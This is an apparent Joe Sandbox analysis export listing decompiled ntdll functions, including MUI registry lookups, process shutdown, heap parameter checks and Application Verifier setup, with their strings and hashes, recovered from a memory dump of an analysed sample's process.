Instruction ID: 282be8fb53226c417795d9d5715b56a845b0e44c45206a997e81661421649634
Opcode Fuzzy Hash: 0abfccc08005c13e46e2cc2372258ddc34ec9b76bbdd934e1dddd3dc7a35dca7
Instruction Fuzzy Hash: FA910336E00785EFDB01CFA8C444A9DBBF2FF49310F18865AE445AF652CB759942DB14

Uniqueness

Uniqueness Score: -1.00%

Function 3371D02D Relevance: 11.5, Strings: 9, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E3371D02D(void* __ecx, intOrPtr* __edx, intOrPtr _a4) {
				char* _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				char* _v52;
				intOrPtr _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				char _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v96;
				char* _v100;
				intOrPtr _v104;
				char _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				char* _v124;
				signed int _v128;
				char _v132;
				char _v140;
				signed int _v144;
				char _v145;
				char _v148;
				signed int _v152;
				void* _v156;
				void* _v157;
				signed int _v160;
				void* _v161;
				signed int _v164;
				signed int _v168;
				void* _v172;
				void* _v180;
				void* _v188;
				intOrPtr _t111;
				void* _t128;
				void* _t160;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr* _t179;
				void* _t182;
				char _t184;
				signed int _t185;
				void* _t187;
				void* _t196;

				_t187 = (_t185 & 0xfffffff8) - 0x9c;
				_t160 = __ecx;
				_t179 = __edx;
				_v128 = 0;
				_v160 = 0;
				_v144 = 0;
				_v152 = 0;
				if(__edx == 0 || _a4 == 0) {
					_t182 = 0xc000000d;
					goto L11;
				} else {
					_v128 =  *__edx;
					E33765050(__ecx,  &_v140, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
					_t184 = 0x18;
					_v132 = _t184;
					_v124 =  &_v148;
					_v128 = 0;
					_push( &_v132);
					_push(0x20019);
					_v120 = 0x40;
					_push( &_v168);
					_v116 = 0;
					_v112 = 0;
					if(E33762AB0() >= 0) {
						_t182 = E337DADD6(_v160, _a4,  &_v145,  &_v132);
						if(_t182 >= 0) {
							L11:
							if(_v160 != 0) {
								_push(_v160);
								E33762A80();
							}
							if(_v144 != 0) {
								_push(_v144);
								E33762A80();
							}
							if(_v152 != 0) {
								_push(_v152);
								E33762A80();
							}
							if(_t182 < 0) {
								if(_t179 == 0) {
									goto L19;
								}
								_t162 = _v128;
								if( *_t179 == _t162) {
									goto L19;
								}
								if( *_t179 != 0) {
									E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *_t179);
								}
								goto L44;
							} else {
								if( *_t179 != 0) {
									L19:
									return _t182;
								}
								_t111 = E3371DAA8(1);
								 *_t179 = _t111;
								if(_t111 == 0) {
									_t162 = _v128;
									_t182 = 0xc0000017;
									L44:
									 *_t179 = _t162;
								}
								goto L19;
							}
						}
						if(_t160 == 8) {
							 *((char*)(_t187 + 0x13)) = 0;
							if(E337DAD61(_v160, _t187 + 0x13) == 0 &&  *((char*)(_t187 + 0x13)) == 1) {
								_t160 = 4;
							}
						}
						_push(_v160);
						E33762A80();
						_v164 = _v164 & 0x00000000;
						_t184 = 0x18;
					}
					_t170 = 0x2000000;
					if(E3371D736(0x2000000,  &_v152) < 0) {
						_v152 = _v152 & 0x00000000;
					}
					if(_t160 != 8) {
						if(_t160 != 4) {
							goto L25;
						}
						if(_v152 == 0) {
							_t128 = 0xc0000034;
						} else {
							E33765050(_t170,  &_v140, L"Control Panel\\Desktop\\MuiCached\\MachineLanguageConfiguration");
							_v168 = _v168 & 0x00000000;
							_v44 = _v44 & 0x00000000;
							_v40 = _v40 & 0x00000000;
							_v56 = _v160;
							_v52 =  &_v148;
							_push( &_v60);
							_push(0x20019);
							_v60 = _t184;
							_push( &_v168);
							_v48 = 0x40;
							_t128 = E33762AB0();
						}
						if(_t128 < 0) {
							E33765050(_t170,  &_v140, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings\\LanguageConfiguration");
							_v168 = _v168 & 0x00000000;
							_v32 = _v32 & 0x00000000;
							 *(_t187 + 0xa0) =  *(_t187 + 0xa0) & 0x00000000;
							 *(_t187 + 0xa4) =  *(_t187 + 0xa4) & 0x00000000;
							_v28 =  &_v148;
							_push( &_v36);
							_push(0x20019);
							_v36 = _t184;
							_push( &_v168);
							 *((intOrPtr*)(_t187 + 0xa8)) = 0x40;
							_t182 = E33762AB0();
							if(_t182 < 0) {
								goto L9;
							}
						}
						goto L25;
					} else {
						if(_v152 == 0) {
							L10:
							_t182 = 0;
							goto L11;
						}
						E33765050(_t170,  &_v140, L"Software\\Policies\\Microsoft\\Control Panel\\Desktop");
						_v92 = _v92 & 0x00000000;
						_v88 = _v88 & 0x00000000;
						_v104 = _v160;
						_t164 = 0x40;
						_v100 =  &_v148;
						_push( &_v108);
						_push(0x20019);
						_v108 = _t184;
						_push( &_v152);
						_v96 = _t164;
						if(E33762AB0() >= 0) {
							_t170 = _v144;
							_t182 = E337DADD6(_v144, _a4,  &_v145,  &_v132);
							if(_t182 >= 0) {
								goto L11;
							}
							_t184 = 0x18;
						}
						E33765050(_t170,  &_v140, L"Control Panel\\Desktop\\LanguageConfiguration");
						_v168 = _v168 & 0x00000000;
						_v68 = _v68 & 0x00000000;
						_v64 = _v64 & 0x00000000;
						 *((intOrPtr*)(_t187 + 0x64)) = _v160;
						 *((intOrPtr*)(_t187 + 0x68)) =  &_v148;
						_push( &_v84);
						_push(0x20019);
						_v84 = _t184;
						_push( &_v168);
						_v72 = _t164;
						_t182 = E33762AB0();
						if(_t182 >= 0) {
							L25:
							_t182 = E3371D9A2(_v160, _t179, _a4);
							goto L11;
						} else {
							_t196 = _t182 - 0xc0000034;
							L9:
							if(_t196 != 0) {
								goto L11;
							}
							goto L10;
						}
					}
				}
			}

0x3371d035
0x3371d03f
0x3371d042
0x3371d044
0x3371d048
0x3371d04c
0x3371d050
0x3371d056
0x3377a5a1
0x00000000
0x3371d065
0x3371d067
0x3371d075
0x3371d07c
0x3371d081
0x3371d085
0x3371d08f
0x3371d093
0x3371d094
0x3371d09d
0x3371d0a5
0x3371d0a6
0x3371d0aa
0x3371d0b5
0x3377a52a
0x3377a52e
0x3371d194
0x3371d199
0x3371d19b
0x3371d19f
0x3371d19f
0x3371d1a9
0x3377a5ab
0x3377a5af
0x3377a5af
0x3371d1b4
0x3371d1b6
0x3371d1ba
0x3371d1ba
0x3371d1c1
0x3377a5bb
0x00000000
0x00000000
0x3377a5c1
0x3377a5c7
0x00000000
0x00000000
0x3377a5d0
0x3377a5df
0x3377a5df
0x00000000
0x3371d1c7
0x3371d1ca
0x3371d1de
0x3371d1e6
0x3371d1e6
0x3371d1cf
0x3371d1d4
0x3371d1d8
0x3377a5e6
0x3377a5ea
0x3377a5ef
0x3377a5ef
0x3377a5ef
0x00000000
0x3371d1d8
0x3371d1c1
0x3377a537
0x3377a541
0x3377a54d
0x3377a558
0x3377a558
0x3377a54d
0x3377a559
0x3377a55d
0x3377a562
0x3377a569
0x3377a569
0x3371d0bf
0x3371d0cc
0x3377a56f
0x3377a56f
0x3371d0d5
0x3371d1ec
0x00000000
0x00000000
0x3371d1fc
0x3371d2de
0x3371d202
0x3371d20c
0x3371d215
0x3371d21a
0x3371d222
0x3371d22a
0x3371d232
0x3371d23d
0x3371d23e
0x3371d247
0x3371d24e
0x3371d24f
0x3371d25a
0x3371d25a
0x3371d261
0x3371d26d
0x3371d272
0x3371d27b
0x3371d283
0x3371d28b
0x3371d293
0x3371d2a1
0x3371d2a2
0x3371d2ab
0x3371d2b2
0x3371d2b3
0x3371d2c3
0x3371d2c7
0x00000000
0x3371d2e5
0x3371d2c7
0x00000000
0x3371d0db
0x3371d0e0
0x3371d192
0x3371d192
0x00000000
0x3371d192
0x3371d0f0
0x3371d0f9
0x3371d0fe
0x3371d103
0x3371d10d
0x3371d10e
0x3371d116
0x3371d117
0x3371d120
0x3371d124
0x3371d125
0x3371d130
0x3377a580
0x3377a58f
0x3377a593
0x00000000
0x00000000
0x3377a59b
0x3377a59b
0x3371d140
0x3371d149
0x3371d14e
0x3371d153
0x3371d158
0x3371d160
0x3371d168
0x3371d169
0x3371d172
0x3371d176
0x3371d177
0x3371d180
0x3371d184
0x3371d2c9
0x3371d2d7
0x00000000
0x3371d18a
0x3371d18a
0x3371d190
0x3371d190
0x00000000
0x00000000
0x00000000
0x3371d190
0x3371d184
0x3371d0d5

Strings

h.t3, xrefs: 3377A5D2
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 3371D202
@, xrefs: 3371D2B3
Control Panel\Desktop\LanguageConfiguration, xrefs: 3371D136
@, xrefs: 3371D09D
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3371D06F
@, xrefs: 3371D24F
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 3371D0E6
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 3371D263

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration$h.t3
API String ID: 0-1671246858
Opcode ID: b0500c7e84eb3565173e07fb276c9f165c5144d6684691062108ab04c25617d9
Instruction ID: 1af4bc8db2750765f4f548d187ba049c28fc2acb5313425b7d92dd0b64c255a0
Opcode Fuzzy Hash: b0500c7e84eb3565173e07fb276c9f165c5144d6684691062108ab04c25617d9
Instruction Fuzzy Hash: 2FA191B29083059FE761CF20C484B6BB7E9BF84759F01492EF9989A240D775D908DF93

Uniqueness

Uniqueness Score: -1.00%

Function 3374D6D0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E3374D6D0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t68;
				intOrPtr _t70;
				signed int _t78;
				signed char _t79;
				intOrPtr _t85;
				intOrPtr _t88;
				intOrPtr _t97;
				char _t99;
				signed int _t102;
				signed int _t103;
				signed char _t106;
				signed int _t108;
				signed int _t112;
				intOrPtr _t119;
				intOrPtr _t121;
				intOrPtr _t122;
				intOrPtr _t127;
				intOrPtr _t129;
				intOrPtr _t134;
				signed int _t137;
				signed int _t138;
				void* _t141;
				void* _t143;

				_push(0x68);
				_push(0x337fc5e8);
				_t68 = E33777BE4(__ebx, __edi, __esi);
				_t127 =  *[fs:0x18];
				_t97 =  *((intOrPtr*)(_t127 + 0x30));
				if( *0x33815da8 != 0) {
					L19:
					 *[fs:0x0] =  *((intOrPtr*)(_t141 - 0x10));
					return _t68;
				}
				_t102 =  *(_t97 + 0x10);
				 *((intOrPtr*)(_t141 - 0x30)) =  *((intOrPtr*)(_t102 + 0x40));
				_t70 =  *((intOrPtr*)(_t102 + 0x44));
				 *((intOrPtr*)(_t141 - 0x2c)) = _t70;
				_t103 =  *(_t97 + 0x10);
				if(( *(_t103 + 8) & 0x00000001) == 0) {
					 *((intOrPtr*)(_t141 - 0x2c)) = _t70 + _t103;
				}
				if(( *0x338137c0 & 0x00000005) != 0) {
					_push(_t141 - 0x30);
					E3379E692("minkernel\\ntdll\\ldrinit.c", 0x17f5, "LdrShutdownProcess", 2, "Process 0x%p (%wZ) exiting\n",  *((intOrPtr*)(_t127 + 0x20)));
					_t143 = _t143 + 0x1c;
				}
				_t74 =  *((intOrPtr*)(_t127 + 0x24));
				 *0x33815dac =  *((intOrPtr*)(_t127 + 0x24));
				 *0x33815da8 = 1;
				if( *0x338165f0 != 0) {
					_t137 =  *0x338191f8; // 0x0
					asm("ror esi, cl");
					_t138 = _t137 ^  *0x7ffe0330;
					_t103 = _t138;
					 *0x338191e0(0x20);
					_t74 =  *_t138();
				}
				_t118 =  *((intOrPtr*)(_t127 + 0xfb4));
				if( *((intOrPtr*)(_t127 + 0xfb4)) != 0) {
					_push(1);
					E33724779(_t74, _t118);
				}
				if(( *0x3381391c & 0x00000002) == 0) {
					_t78 =  *(_t97 + 0x10);
					__eflags =  *(_t78 + 8) & 0x40000000;
					_t106 = _t103 & 0xffffff00 | ( *(_t78 + 8) & 0x40000000) == 0x00000000;
					__eflags =  *0x33819234 & 0x00000001;
					_t79 = _t78 & 0xffffff00 | ( *0x33819234 & 0x00000001) == 0x00000000;
					__eflags = _t79 & _t106;
					if((_t79 & _t106) == 0) {
						goto L7;
					}
					 *((char*)(_t141 - 0x19)) = 1;
					_t99 = 0;
					L15:
					_t85 =  *[fs:0x30];
					__eflags =  *0x338168c8;
					if( *0x338168c8 != 0) {
						__eflags =  *((intOrPtr*)(_t85 + 0x18)) - _t99;
						if( *((intOrPtr*)(_t85 + 0x18)) != _t99) {
							E337A0FC8();
							 *0x338168c8 = _t99;
						}
					}
					__eflags =  *((char*)(_t141 - 0x19));
					if( *((char*)(_t141 - 0x19)) == 0) {
						E3374D8F0();
					}
					_t68 = E3374D898();
					goto L19;
				}
				L7:
				_t99 = 0;
				 *((char*)(_t141 - 0x19)) = 0;
				_t129 =  *0x33815da0; // 0x343faf8
				L8:
				if(_t129 != 0x33815d9c) {
					_t18 = _t129 - 0x10; // 0x343fae8
					_t122 = _t18;
					 *((intOrPtr*)(_t141 - 0x24)) = _t122;
					_t20 = _t129 + 4; // 0x343fa48
					_t129 =  *_t20;
					 *((intOrPtr*)(_t141 - 0x20)) = _t129;
					_t22 = _t122 + 0x1c; // 0x6c8c9bf0
					_t88 =  *_t22;
					 *((intOrPtr*)(_t141 - 0x28)) = _t88;
					if(_t88 != 0 && ( *(_t122 + 0x34) & 0x00080000) != 0) {
						 *((intOrPtr*)(_t141 - 0x54)) = 0x24;
						 *((intOrPtr*)(_t141 - 0x50)) = 1;
						_t112 = 7;
						memset(_t141 - 0x4c, 0, _t112 << 2);
						_t143 = _t143 + 0xc;
						_t31 = _t122 + 0x48; // 0x0
						E3373DC40(_t141 - 0x54,  *_t31);
						 *((intOrPtr*)(_t141 - 4)) = _t99;
						_t134 =  *((intOrPtr*)(_t141 - 0x24));
						_t157 =  *((intOrPtr*)(_t134 + 0x3a)) - _t99;
						if( *((intOrPtr*)(_t134 + 0x3a)) != _t99) {
							E3373F0A3(_t99, 0, _t134, _t134, 1, __eflags);
						}
						_push(1);
						_push(_t99);
						E3373DCD1(_t99,  *((intOrPtr*)(_t141 - 0x28)),  *((intOrPtr*)(_t134 + 0x18)), _t134, 1, _t157);
						 *((intOrPtr*)(_t141 - 4)) = 0xfffffffe;
						_t129 =  *((intOrPtr*)(_t141 - 0x20));
						E3374D886();
					}
					goto L8;
				}
				_t119 =  *0x33815b24; // 0x3412cd8
				__eflags =  *((intOrPtr*)(_t119 + 0x3a)) - _t99;
				if( *((intOrPtr*)(_t119 + 0x3a)) != _t99) {
					 *((intOrPtr*)(_t141 - 0x78)) = 0x24;
					 *((intOrPtr*)(_t141 - 0x74)) = 1;
					_t108 = 7;
					memset(_t141 - 0x70, 0, _t108 << 2);
					_t47 = _t119 + 0x48; // 0x0
					E3373DC40(_t141 - 0x78,  *_t47);
					 *((intOrPtr*)(_t141 - 4)) = 1;
					_t121 =  *0x33815b24; // 0x3412cd8
					E3373F0A3(_t99, 0, _t121, _t141 - 0x70 + _t108, 1, __eflags);
					 *((intOrPtr*)(_t141 - 4)) = 0xfffffffe;
					E3374D88F();
				}
				goto L15;
			}

0x3374d6d0
0x3374d6d2
0x3374d6d7
0x3374d6dc
0x3374d6e3
0x3374d6ed
0x3374d810
0x3374d813
0x3374d81f
0x3374d81f
0x3374d6f3
0x3374d6f9
0x3374d6fc
0x3374d6ff
0x3374d702
0x3374d709
0x3378f0c2
0x3378f0c2
0x3374d716
0x3378f0cd
0x3378f0e7
0x3378f0ec
0x3378f0ec
0x3374d71c
0x3374d71f
0x3374d724
0x3374d732
0x3374d86d
0x3374d873
0x3374d875
0x3374d877
0x3374d879
0x3374d87f
0x3374d87f
0x3374d738
0x3374d740
0x3374d742
0x3374d744
0x3374d744
0x3374d750
0x3378f0f4
0x3378f0f7
0x3378f0fe
0x3378f101
0x3378f108
0x3378f10b
0x3378f10d
0x00000000
0x00000000
0x3378f113
0x3378f117
0x3374d7ed
0x3374d7ed
0x3374d7f3
0x3374d7fa
0x3378f13c
0x3378f13f
0x3378f145
0x3378f14a
0x3378f14a
0x3378f13f
0x3374d800
0x3374d804
0x3374d806
0x3374d806
0x3374d80b
0x00000000
0x3374d80b
0x3374d756
0x3374d756
0x3374d75a
0x3374d75d
0x3374d766
0x3374d76c
0x3374d76e
0x3374d76e
0x3374d771
0x3374d774
0x3374d774
0x3374d777
0x3374d77a
0x3374d77a
0x3374d77d
0x3374d782
0x3374d78d
0x3374d794
0x3374d799
0x3374d79f
0x3374d79f
0x3374d7a1
0x3374d7a7
0x3374d7ac
0x3374d7af
0x3374d7b2
0x3374d7b6
0x3374d7da
0x3374d7da
0x3374d7b8
0x3374d7b9
0x3374d7c0
0x3374d7c5
0x3374d7cc
0x3374d7cf
0x3374d7cf
0x00000000
0x3374d782
0x3374d7e1
0x3374d7e7
0x3374d7eb
0x3374d820
0x3374d827
0x3374d82c
0x3374d832
0x3374d834
0x3374d83a
0x3374d83f
0x3374d842
0x3374d84a
0x3374d84f
0x3374d856
0x3374d856
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 3374D879

Part of subcall function 33724779: RtlDebugPrintTimes.NTDLL ref: 33724817

Strings

$, xrefs: 3374D820
LdrShutdownProcess, xrefs: 3378F0D8
$, xrefs: 3374D78D
Process 0x%p (%wZ) exiting, xrefs: 3378F0D1
minkernel\ntdll\ldrinit.c, xrefs: 3378F0E2

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1975516107
Opcode ID: 1e29b6a4e14ad818764fa052beb5f6d8d7582d2919efaf747eeaa9f2d1c0b3f9
Instruction ID: 1468df66cdb9b90856d3ee68f3acfcd5dd493534a730f505a14be1c6c9b65e54
Opcode Fuzzy Hash: 1e29b6a4e14ad818764fa052beb5f6d8d7582d2919efaf747eeaa9f2d1c0b3f9
Instruction Fuzzy Hash: 0B510075E043498FEB05DFA4C58879EBBF2BF48314F26415DD880AF692D774A986CB80

Uniqueness

Uniqueness Score: -1.00%

Function 337CF51B Relevance: 10.2, Strings: 8, Instructions: 189COMMON

Download Yara Rule

Strings

Specified HeapBase (%p) invalid, Status = %lx, xrefs: 337CF664
Invalid CommitSize parameter - %Ix, xrefs: 337CF5B2
Specified HeapBase (%p) != to BaseAddress (%p), xrefs: 337CF6B2
May not specify Lock parameter with HEAP_NO_SERIALIZE, xrefs: 337CF5FB
HEAP: , xrefs: 337CF55F, 337CF5A4, 337CF5F0, 337CF655, 337CF6A3, 337CF6EA
HEAP[%wZ]: , xrefs: 337CF552, 337CF597, 337CF5E3, 337CF648, 337CF696, 337CF6DD
Invalid ReserveSize parameter - %Ix, xrefs: 337CF56B
Specified HeapBase (%p) is free or not writable, xrefs: 337CF6F8

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid CommitSize parameter - %Ix$Invalid ReserveSize parameter - %Ix$May not specify Lock parameter with HEAP_NO_SERIALIZE$Specified HeapBase (%p) != to BaseAddress (%p)$Specified HeapBase (%p) invalid, Status = %lx$Specified HeapBase (%p) is free or not writable
API String ID: 0-2224505338
Opcode ID: 322e2961ffbd27bbb67581cf21e202054959a4f40518b4837a7b3948f3d5fc3e
Instruction ID: f7f9c90a9aeed9dd90d1be9eed9de2ce33ef7e37b04bd0fdba02e693e2372ca3
Opcode Fuzzy Hash: 322e2961ffbd27bbb67581cf21e202054959a4f40518b4837a7b3948f3d5fc3e
Instruction Fuzzy Hash: 73510037A12784EFD301CB68C898F1A73A5EB08770F14859AF501AF626CB72D962DF14

Uniqueness

Uniqueness Score: -1.00%

Function 337A8633 Relevance: 9.0, Strings: 7, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E337A8633(char __ecx, intOrPtr __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				intOrPtr _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				char _v28;
				char _v29;
				signed int _v30;
				char _v31;
				intOrPtr _v32;
				signed int _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t50;
				signed int _t51;
				signed int _t52;
				intOrPtr _t69;
				signed int _t76;
				signed int _t88;
				intOrPtr _t92;
				signed int _t97;
				signed int _t103;
				signed int _t121;
				intOrPtr* _t124;
				intOrPtr _t126;
				signed int _t127;
				signed int _t128;
				intOrPtr* _t130;

				_t115 = __edx;
				_t103 = __ecx;
				_t97 = 0;
				_v8 = __edx;
				_v31 = __ecx;
				_t126 =  *[fs:0x30];
				_v12 = _t126;
				_v24 = 0;
				_v28 = 0;
				_t50 = _a8;
				if(_t50 == 0) {
					_t121 = _a16;
					__eflags = _t121;
					if(_t121 != 0) {
						 *_t121 = 0;
						__eflags =  *(_t126 + 0x68) & 0x02000100;
						if(( *(_t126 + 0x68) & 0x02000100) == 0) {
							_t51 = E337A36EC();
							_t103 = _v31;
							__eflags = _t51;
							if(_t51 != 0) {
								_v28 = 2;
							}
						} else {
							_v28 = 1;
						}
						__eflags =  *(_t126 + 0x68) & 0x00000100;
						if(( *(_t126 + 0x68) & 0x00000100) != 0) {
							L35:
							_t52 = 0x48004;
							goto L36;
						} else {
							__eflags = _t103;
							if(_t103 != 0) {
								goto L35;
							}
							_t52 = 0;
							L36:
							_t127 = _a4;
							 *0x33815a74 = _t52;
							 *0x33815000 = 0;
							__eflags = _t127;
							if(_t127 == 0) {
								L40:
								__eflags = _v31;
								if(_v31 != 0) {
									 *0x33815238 = 1;
								}
								L42:
								__eflags = _t127;
								if(__eflags != 0) {
									__eflags = _t52 & 0x00000004;
									if((_t52 & 0x00000004) != 0) {
										E33716CC0(_t127, L"HandleTraces", 4, 0x338169d8, 4, 0);
									}
									E33716CC0(_t127, L"VerifierDebug", 4, 0x338169dc, 4, 0);
									E33716CC0(_t127, L"VerifierDlls", 1, 0x33815000, 0x200, 0);
								}
								_t116 = _v8;
								_t128 = E337A98B2(0x336f1b98, _v8, __eflags, _t127, _a12, 0x33815260);
								__eflags = _t128;
								if(_t128 >= 0) {
									 *_t121 = 0x33815260;
									_t128 = E337A8FBB();
									__eflags = _t128;
									if(_t128 >= 0) {
										E33751D66(0x336f1b98, _t116, 0);
										 *0x33819234 = _v32;
										E33751D66(0x336f1b98, _t116, 1);
									}
								}
								L49:
								return _t128;
							}
							E33716CC0(_t127, L"VerifierFlags", 4,  &_v24, 4, 0);
							_t52 = _v48;
							__eflags = _t52;
							if(_t52 == 0) {
								_t52 =  *0x33815a74; // 0x0
								goto L40;
							}
							 *0x33815a74 = _t52;
							goto L42;
						}
					}
					_t128 = 0xc000000d;
					goto L49;
				}
				if(_t50 != 1) {
					L25:
					_t128 = _t97;
					goto L49;
				}
				 *0x33815244 = 0x33815240;
				 *0x33815240 = 0x33815240;
				_t128 = E3374FBC0(0x33815220, 0, 0);
				if(_t128 < 0) {
					goto L49;
				}
				if( *0x33819234 == 2) {
					_v29 = 0;
					_t128 = E33741934(0x33815308, 0,  &_v29);
					__eflags = _t128;
					if(_t128 < 0) {
						goto L49;
					}
					goto L25;
				}
				_push( *0x33815a74);
				_push( *((intOrPtr*)( *[fs:0x18] + 0x20)));
				_t69 =  *0x33815d8c; // 0x3412cd8
				_t8 = _t69 + 0x30; // 0x3411d08
				E337AEF10(0x5d, 0, "AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled\n",  *_t8);
				if(E337A9429(_t115) >= 0) {
					_t130 =  *0x33815240; // 0x0
					while(1) {
						__eflags = _t130 - 0x33815240;
						if(__eflags == 0) {
							break;
						}
						_t71 = E337A919C(_t97, _t130, 0x33815240, _t130, __eflags);
						__eflags = _t71;
						if(_t71 == 0) {
							_t128 = 0xc0000142;
							goto L49;
						} else {
							_t130 =  *_t130;
							continue;
						}
					}
					E337A8B5E(_t71);
					_t108 = 0x336f1b88;
					_t128 = E3373F380(0x336f1b88, 0, _t97,  &_v20, _t97);
					__eflags = _t128;
					if(_t128 < 0) {
						__eflags = _t128 - 0xc0000135;
						if(_t128 != 0xc0000135) {
							goto L49;
						}
						_t131 =  *0x33815278; // 0x0
						L15:
						_t76 = E3373CF00(_t108, 0, _t131, 0x336f1b90, 0,  &_v16, 1, _v0);
						E33751D66(_t108, 0, 0);
						__eflags = _t76;
						if(_t76 >= 0) {
							_t88 =  *0x7ffe0330;
							_t108 = _t88 & 0x0000001f;
							__eflags = _t88 & 0x0000001f;
							asm("ror eax, cl");
							 *0x33819238 = _t88 ^ _v16;
							 *0x33819230 = 1;
						}
						 *0x33819231 = 1;
						 *0x33819232 = 1;
						E337A964A(E33751D66(_t108, 0, 1));
						_t124 =  *0x33815240; // 0x0
						_t97 = 0;
						__eflags = 0;
						while(1) {
							__eflags = _t124 - 0x33815240;
							if(_t124 == 0x33815240) {
								break;
							}
							_v30 = _t97;
							_t128 = E33741934( *((intOrPtr*)( *((intOrPtr*)(_t124 + 0x10)) + 0x50)), 0,  &_v30);
							__eflags = _t128;
							if(_t128 < 0) {
								goto L49;
							}
							_t124 =  *_t124;
						}
						__eflags =  *0x338169dc & 0x00000008;
						if(( *0x338169dc & 0x00000008) != 0) {
							_push("AVRF: -*- final list of providers -*- \n");
							E337A8EB8(E3371B910());
						}
						E337A9818();
						E3372E580(3,  *((intOrPtr*)(_v12 + 8)), _t97, _t97,  &_v28);
						goto L25;
					}
					_t108 = _v20;
					_t131 =  *((intOrPtr*)(_v20 + 0x18));
					E3373D3E1(_t97, _v20,  *((intOrPtr*)(_v20 + 0x18)));
					goto L15;
				} else {
					_push( *((intOrPtr*)( *[fs:0x18] + 0x20)));
					_t92 =  *0x33815d8c; // 0x3412cd8
					_t10 = _t92 + 0x30; // 0x3411d08
					E337AEF10(0x5d, 0, "AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.\n",  *_t10);
					_t128 = 0xc0000001;
					 *( *[fs:0x30] + 0x68) =  *( *[fs:0x30] + 0x68) & 0xfffffeff;
					goto L49;
				}
			}

0x337a8633
0x337a8633
0x337a8642
0x337a8644
0x337a8648
0x337a864d
0x337a8654
0x337a8658
0x337a865c
0x337a8661
0x337a8663
0x337a8861
0x337a8864
0x337a8866
0x337a8872
0x337a8877
0x337a887e
0x337a8886
0x337a888b
0x337a888f
0x337a8891
0x337a8893
0x337a8893
0x337a8880
0x337a8880
0x337a8880
0x337a889b
0x337a88a2
0x337a88ac
0x337a88ac
0x00000000
0x337a88a4
0x337a88a4
0x337a88a6
0x00000000
0x00000000
0x337a88a8
0x337a88b1
0x337a88b1
0x337a88b6
0x337a88bb
0x337a88c2
0x337a88c4
0x337a88ef
0x337a88ef
0x337a88f4
0x337a88f6
0x337a88f6
0x337a88fc
0x337a88fc
0x337a88fe
0x337a8900
0x337a8902
0x337a8915
0x337a8915
0x337a892b
0x337a8943
0x337a8943
0x337a8948
0x337a895f
0x337a8961
0x337a8963
0x337a8965
0x337a8970
0x337a8972
0x337a8974
0x337a8978
0x337a8982
0x337a8987
0x337a8987
0x337a8974
0x337a898c
0x337a8994
0x337a8994
0x337a88d6
0x337a88db
0x337a88df
0x337a88e1
0x337a88ea
0x00000000
0x337a88ea
0x337a88e3
0x00000000
0x337a88e3
0x337a88a2
0x337a8868
0x00000000
0x337a8868
0x337a866c
0x337a885a
0x337a885a
0x00000000
0x337a885a
0x337a867e
0x337a8684
0x337a868f
0x337a8693
0x00000000
0x00000000
0x337a86a0
0x337a883f
0x337a8850
0x337a8852
0x337a8854
0x00000000
0x00000000
0x00000000
0x337a8854
0x337a86a6
0x337a86b2
0x337a86b5
0x337a86ba
0x337a86c5
0x337a86d4
0x337a8719
0x337a872e
0x337a872e
0x337a8730
0x00000000
0x00000000
0x337a8723
0x337a8728
0x337a872a
0x337a875e
0x00000000
0x337a872c
0x337a872c
0x00000000
0x337a872c
0x337a872a
0x337a8732
0x337a8740
